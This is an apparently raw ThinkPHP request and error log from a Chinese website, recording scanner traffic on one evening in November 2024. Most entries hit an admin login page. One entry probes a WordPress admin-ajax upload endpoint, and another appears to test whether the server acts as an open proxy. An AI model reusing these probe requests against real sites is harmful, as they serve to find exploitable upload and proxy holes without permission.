argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:48:50+08:00 ] 147.185.132.132 GET 51tianwei.com/admin/auth/login [运行时间:0.001930s] [吞吐率:518.14req/s] [内存消耗:133.09kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:50:40+08:00 ] 205.210.31.185 GET www.51tianwei.com/admin/auth/login [运行时间:0.016450s] [吞吐率:60.79req/s] [内存消耗:133.10kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:50:45+08:00 ] 198.235.24.14 GET www.51tianwei.com/admin/auth/login [运行时间:0.001731s] [吞吐率:577.73req/s] [内存消耗:133.10kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T21:53:10+08:00 ] 147.185.132.132 GET www.51tianwei.com/admin/auth/login [运行时间:0.001730s] [吞吐率:578.05req/s] [内存消耗:133.10kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T22:19:05+08:00 ] 218.66.171.228 HEAD video.dispatch.tc.qq.com/B_JxNyiJmktHRgresXhfyMeiQTd-9LZ62MmPmCATRuhZ8RGWBfetHyhem97R-tNpoO/r00189dodft.mp4?vkey=2809143999900D3E1CE2C0BD041D7120891D7B2D3CF2A8F8BE4AF15FFAB9767B45537514D05F210390CE6640AEFDF710A816D5B0EC8C0977263670A2F3C323DDFFAAF99DEF3BF5766D87C6B8E5AC36EAFF40D1107508ADD62C5D01FBDBD7E35AE98C034D678F1E1F5F19B2784A6FC44DF9784BEDAB6B3C7E84F933CEBA349A9561954AC7B4528586 [运行时间:0.027361s] [吞吐率:36.55req/s] [内存消耗:134.77kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'B_JxNyiJmktHRgresXhfyMeiQTd-9LZ62MmPmCATRuhZ8RGWBfetHyhem97R-tNpoO', 2 => 'r00189dodft.mp4', ), ) [ info ] [ HEADER ] array ( 'accept-encoding' => 'identity', 'host' => 'video.dispatch.tc.qq.com', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0', 'referer' => 'http://video.dispatch.tc.qq.com', ) [ info ] [ PARAM ] array ( 'vkey' => '2809143999900D3E1CE2C0BD041D7120891D7B2D3CF2A8F8BE4AF15FFAB9767B45537514D05F210390CE6640AEFDF710A816D5B0EC8C0977263670A2F3C323DDFFAAF99DEF3BF5766D87C6B8E5AC36EAFF40D1107508ADD62C5D01FBDBD7E35AE98C034D678F1E1F5F19B2784A6FC44DF9784BEDAB6B3C7E84F933CEBA349A9561954AC7B4528586', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] --------------------------------------------------------------- [ 2024-11-14T22:28:11+08:00 ] 95.214.55.79 GET 59.110.137.245/ [运行时间:0.027348s] [吞吐率:36.57req/s] [内存消耗:160.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46', 'accept-encoding' => 'gzip, deflate, gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'x-requested-with' => 'XMLHttpRequest', 'content-type' => 'application/x-www-form-urlencoded; charset=UTF-8', 'accept-language' => 'en US,en;q=0.9,sv;q=0.8', 'host' => '59.110.137.245', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T22:48:52+08:00 ] 143.110.249.206 GET www.51tianwei.com/ [运行时间:0.029542s] [吞吐率:33.85req/s] [内存消耗:160.85kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'accept-encoding' => 'gzip, deflate', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'accept-language' => 'en-US,en;q=0.9', 'pragma' => 'no-cache', 'cache-control' => 'no-cache', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T23:01:28+08:00 ] 194.38.23.16 GET 51tianwei.com/wp-admin/admin-ajax.php?param=upload_slide&action=upload_library [运行时间:0.027057s] [吞吐率:36.96req/s] [内存消耗:133.59kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'wp-admin', 2 => 'admin-ajax.php', ), ) [ info ] [ HEADER ] array ( 'accept' => '*/*', 'user-agent' => 'ALittle Client', 'host' => '51tianwei.com', 'content-type' => 'application/json', 'content-length' => '0', 'connection' => 'Keep-Alive', ) [ info ] [ PARAM ] array ( 'param' => 'upload_slide', 'action' => 'upload_library', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T23:42:57+08:00 ] 59.82.21.36 GET 51tianwei.com/ [运行时间:0.033044s] [吞吐率:30.26req/s] [内存消耗:159.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.7095.44 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T23:42:57+08:00 ] 59.82.21.36 GET 51tianwei.com/ [运行时间:0.001581s] [吞吐率:632.53req/s] [内存消耗:159.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.3764.152 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T23:42:57+08:00 ] 59.82.21.36 GET 51tianwei.com/favicon.ico [运行时间:0.006183s] [吞吐率:161.74req/s] [内存消耗:132.86kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.3764.152 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T23:56:46+08:00 ] 154.213.184.43 GET 59.110.137.245:80/ [运行时间:0.032001s] [吞吐率:31.25req/s] [内存消耗:159.24kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32]